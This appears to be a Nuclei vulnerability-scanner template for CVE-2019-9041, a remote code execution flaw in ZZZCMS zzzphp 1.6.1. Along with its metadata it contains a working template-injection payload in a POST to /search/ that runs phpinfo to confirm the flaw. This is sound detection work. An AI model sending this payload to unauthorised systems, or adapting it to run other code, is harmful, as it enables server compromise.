48 lines
1.7 KiB
YAML
48 lines
1.7 KiB
YAML
id: CVE-2019-9041
|
|
|
|
info:
|
|
name: ZZZCMS 1.6.1 - Remote Code Execution
|
|
author: pikpikcu
|
|
severity: high
|
|
description: ZZZCMS zzzphp V1.6.1 is vulnerable to remote code execution via the inc/zzz_template.php file because the parserIfLabel() function's filtering is not strict, resulting in PHP code execution as demonstrated by the if:assert substring.
|
|
remediation: |
|
|
Apply the latest security patch or upgrade to a newer version of ZZZCMS.
|
|
reference:
|
|
- https://www.exploit-db.com/exploits/46454/
|
|
- http://www.iwantacve.cn/index.php/archives/118/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-9041
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 7.2
|
|
cve-id: CVE-2019-9041
|
|
cwe-id: CWE-917
|
|
epss-score: 0.01591
|
|
epss-percentile: 0.85916
|
|
cpe: cpe:2.3:a:zzzcms:zzzphp:1.6.1:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: zzzcms
|
|
product: zzzphp
|
|
tags: cve,cve2019,zzzcms,rce,edb
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /search/ HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
- |
|
|
POST /search/ HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
keys={if:array_map(base_convert(27440799224,10,32),array(1))}{end if}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code_2 == 200'
|
|
- '!contains(body_1, "phpinfo")'
|
|
- 'contains_all(body_2, "phpinfo","PHP Version")'
|
|
condition: and
|
|
# digest: 4a0a00473045022020fb02027862e8906f1bcc98856624803f6bd32a4e2f5059900234ff15f3a73c022100eee18eb3522f9320c1cc625a1402a25d1fd9f6587901a17c5f5776d9af9a1bcf:922c64590222798bb761d5b6d8e72950 |